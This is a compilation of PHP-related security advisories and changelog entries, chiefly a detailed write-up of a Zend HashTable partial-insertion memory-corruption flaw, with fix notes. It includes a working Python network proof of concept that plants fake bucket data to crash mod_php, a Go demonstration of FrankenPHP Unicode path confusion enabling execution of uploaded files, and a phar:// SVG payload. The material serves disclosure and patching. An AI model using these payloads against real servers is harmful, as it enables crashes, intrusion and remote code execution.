GHSA - https://github.com/php/php-src/security/advisories/GHSA-h37m-fxqh-w76h

Found a crash while investigating https://github.com/php/php-src/security/advisories/GHSA-626f-5vcj-8h2p.

An OOM at the wrong time can leave zendarray s in a corrupted state, and cause a zvalptrdtor() on uninitialized memory during shutdown. This seems critical as this can be triggered during input parsing.

Details

zendhashstraddorupdatei() updates ht->nNumUsed before initializing the bucket, and then allocates a zendstring for the key with zendstringinit() . If zendstringinit() OOMs, the zendarray is left with one uninitialized bucket.

idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; p->key = key = zendstringinit(str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

During shutdown, izvalptrdtor() is called on the uninitialized bucket, which might contain data from user inputs

PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: Zend/zendhash.c, raw-string insertion APIs

Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.

Details

Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions

The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.

Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.

Technical root cause

The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:

c ZENDHASHIFFULLDORESIZE(ht);

addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;

p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /

zendstringinit() can raise a memory-limit fatal and never return. At that point:

- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:

c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;

do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);

Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.

Affected APIs

Affected missing-nonnumeric-key paths include:

- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.

zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.

Generic request-variable entry point

Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:

c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }

The resulting path is:

text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()

The following distinction is load-bearing:

text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window

One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.

SAPI and lifetime boundaries

Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:

c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();

if (!parentreq) { phpapacherequestdtor(r); }

This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.

Recommended fix

Restore transactional ordering by allocating the key before publishing the new Bucket:

diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;

Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.

PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:

php <?php echo "hi\n";

Run this Python client:

python import socket, struct from urllib.parse import quotefrombytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""

warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")

The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.

Impact

Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.

Fixed (Stale SOAPGLOBAL(refmap) pointer with Apache Map). (CVE-2026-6722)

Summary

FrankenPHP’s CGI path splitting logic improperly handles Unicode characters during case conversion. The logic computes the split index (for finding .php) on a lowercased copy of the request path but applies that byte index to the original path.

Because strings.ToLower() in Go can increase the byte length of certain UTF-8 characters (e.g., Ⱥ expands when lowercased), the computed index may not align with the correct position in the original string. This results in an incorrect SCRIPTNAME and SCRIPTFILENAME, potentially causing FrankenPHP to execute a file other than the one intended by the URI.

Details

The vulnerability resides in the splitPos() function and its usage within splitCgiPath(). The logic attempts to find the script extension (e.g., .php) in a case-insensitive manner by lowercasing the path:

go lowerPath := strings.ToLower(path) idx := strings.Index(lowerPath, strings.ToLower(split)) return idx + len(split)

The issue is that the returned idx represents a byte offset within lowerPath. However, splitCgiPath() uses this index to slice the original path:

go fc.docURI = path[:splitPos] fc.pathInfo = path[splitPos:] fc.scriptName = strings.TrimSuffix(path, fc.pathInfo) fc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName)

This logic relies on the assumption that len(strings.ToLower(path)) == len(path). This assumption is false for certain Unicode characters. For example, the character Ⱥ (U+023A) requires 2 bytes in UTF-8 (0xC8 0xBA), but its lowercase equivalent ⱥ (U+2C65) requires 3 bytes (0xE2 0xB1 0xA5).

If the path contains such characters before the .php extension, the index calculated on lowerPath will be larger than the corresponding visual point in the original path. When applied to the original path, the split occurs at the wrong byte offset. This can cause the server to treat a larger portion of the path as the script name, effectively allowing an attacker to manipulate SCRIPTFILENAME.

PoC

The following Go program demonstrates the discrepancy between the byte index in the lowercased string versus the original string.

1. Save the following as poc.go:

go package main

import ( "fmt" "strings" )

func splitPos(path string, split string) int { lowerPath := strings.ToLower(path) idx := strings.Index(lowerPath, strings.ToLower(split)) if idx < 0 { return -1 } return idx + len(split) }

func main() { // U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes. // We construct a path where the byte expansion shifts the index. path := "/ȺȺȺȺshell.php.txt.php" split := ".php"

pos := splitPos(path, split)

fmt.Printf("orig bytes=%d\n", len(path)) fmt.Printf("lower bytes=%d\n", len(strings.ToLower(path))) fmt.Printf("splitPos=%d\n", pos)

// Current Unsafe Behavior: fmt.Printf("orig[:pos] (Calculated Script)=%q\n", path[:pos]) fmt.Printf("orig[pos:] (Calculated PathInfo)=%q\n", path[pos:])

// Expected Safe Behavior: want := strings.Index(path, split) + len(split) fmt.Printf("expected splitPos=%d\n", want) fmt.Printf("expected orig[:]=%q\n", path[:want]) }

2. Run the PoC:

console go run poc.go

3. Output:

text orig bytes=26 lower bytes=30 splitPos=22 orig[:pos]="/ȺȺȺȺshell.php.txt" orig[pos:]=".php" expected splitPos=18 expected orig[:]="/ȺȺȺȺshell.php"

In this example, FrankenPHP would identify /ȺȺȺȺshell.php.txt as the PHP script to execute, ignoring the fact that the actual file extension in the file system might be .txt.

Impact

This is a Security Boundary Bypass and Path Confusion vulnerability.

In setups where users can upload files (e.g., avatars, text files) that are stored within the document root or a reachable path, an attacker can upload a file containing malicious PHP code with a safe extension (e.g., payload.txt). By crafting a request with specific Unicode characters, the attacker can force FrankenPHP to calculate the SCRIPTFILENAME as ending in payload.txt, while the request appears to contain .php to the internal router logic.

This results in the execution of non-PHP files as PHP scripts, leading to Remote Code Execution (RCE).

Patched Versions

This issue is fixed in FrankenPHP version 1.11.2.

Workarounds

Ensure that user-uploaded files are stored outside of the public document root. Implement strict WAF rules to reject requests containing specific multi-byte Unicode characters in the URL path if an upgrade is not immediately possible.

Fixed (Reference counting in phprequestshutdown causes Use-After-Free). (CVE-2024-11235)

Fixed bug (OOB access in ldapescape). (CVE-2024-8932)

Fixed bug (Integer overflow in the dblib quoter causing OOB writes). (CVE-2024-11236)

Argument Injection in PHP-CGI

Command injection via array-ish $command parameter of procopen()

A command inject vulnerability allows an attacker to perform command injection on Windows applications that indirectly depend on the CreateProcess function when the specific conditions are satisfied.

Summary php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP < 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.

Details The Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the font-family and prevents it to use a PHAR url, to avoid passing an invalid and dangerous fontName value to other libraries. The same check as done in the Style::fromStyleSheets might be reused :

if ( \arraykeyexists("font-family", $styles) && ( \strtolower(\substr($this->href, 0, 7)) === "phar://" || ($this->document->allowExternalReferences === false && \strtolower(\substr($this->href, 0, 5)) !== "data:") ) ) { unset($style["font-family"]); }

PoC

Parsing the following SVG :

<?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <text x="20" y="35" style="color:red;font-family:phar:///path/to/whatever.phar/blaklis;">My</text> </svg>

will pass the phar:///path/to/whatever.phar/blaklis as $family in SurfaceCpdf::setFont, which is then passed to the canvas selectFont as a $fontName.

Impact Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the fontName that is passed by php-svg-lib

Buffer overflow and overread in phardirread()

CVE-2022-31631 php: PDO::quote() may return unquoted string

https://www.php.net/ChangeLog-8.php#8.0.27 https://bugs.php.net/bug.php?id=81740 https://github.com/php/php-src/commit/921b6813da3237a83e908998483f46ae3d8bacba

Fixed bug : buffer overflow in hashupdate() on long parameter. (CVE-2022-37454)

In PHP versions 8.1.x below 8.1.8, when fileinfo functions, such as finfobuffer, due to incorrect patch applied to the third party code from libmagic, incorrect function may be used to free allocated memory, which may lead to heap corruption.

pearweb < 1.32 suffers from Deserialization of Untrusted Data.

pearweb < 1.32 is suffers from a Weak Password Recovery Mechanism via include/users/passwordmanage.php.

PHP-Memcached v2.2.0 and below contains an improper NULL termination which allows attackers to execute CLRF injection.

Fix #81708: UAF due to phpfilterfloat() failing for ints. (CVE-2021-21708)

In PHP versions 7.3.x below 7.3.15 and 7.4.x below 7.4.3, while extracting PHAR files on Windows using phar extension, certain content inside PHAR file could lead to one-byte read past the allocated buffer. This could potentially lead to information disclosure or crash.

A flaw was found in php before 7.4.2. An out of bounds read in phpstriptagsex may lead to denial of service or potentially disclosure of sensitive data.

Upstream issue:

https://bugs.php.net/79099

A flaw was found in php before 7.4.2. A global buffer overflow in mbflfiltconvbig5wchar function may lead to corruption of memory data.

Upstream issue:

http://bugs.php.net/79037

Fixed bug (mail() may release string with refcount==1 twice). (CVE-2019-11049)

SQL injection vulnerability in Zend Framework 1.10.x before 1.10.9 and 1.11.x before 1.11.6 when using non-ASCII-compatible encodings in conjunction PDOMySql in PHP before 5.3.6.

apachemodphp. Multiple issues were addressed by updating to PHP version 7.3.11.

A type confusion vulnerability in the mergeparam() function of phphttpparams.c in PHP's pecl-http extension 3.1.0beta2 (PHP 7) and earlier as well as 2.6.0beta2 (PHP 5) and earlier allows attackers to crash PHP and possibly execute arbitrary code via crafted HTTP requests.

A use-after-free in onignewdeluxe() in regext.c in Oniguruma 6.9.2 allows attackers to potentially cause information disclosure, denial of service, or possibly code execution by providing a crafted regular expression. The attacker provides a pair of a regex pattern and a string, with a multi-byte encoding that gets handled by onignewdeluxe(). Oniguruma issues often affect Ruby, as well as common optional libraries for PHP and Rust.

Fixed bug (Out-of-bounds read in iconv.c:phpiconvmimedecode() due to integer overflow) (CVE-2019-11039).

Fixed bug (heap-buffer-overflow on phpjpgget16) (CVE-2019-11040).

In PHP imagick extension in versions between 3.3.0 and 3.4.4, writing to an array of values in ImagickKernel::fromMatrix() function did not check that the address will be within the allocated array. This could lead to out of bounds write to memory if the function is called with the data controlled by untrusted party.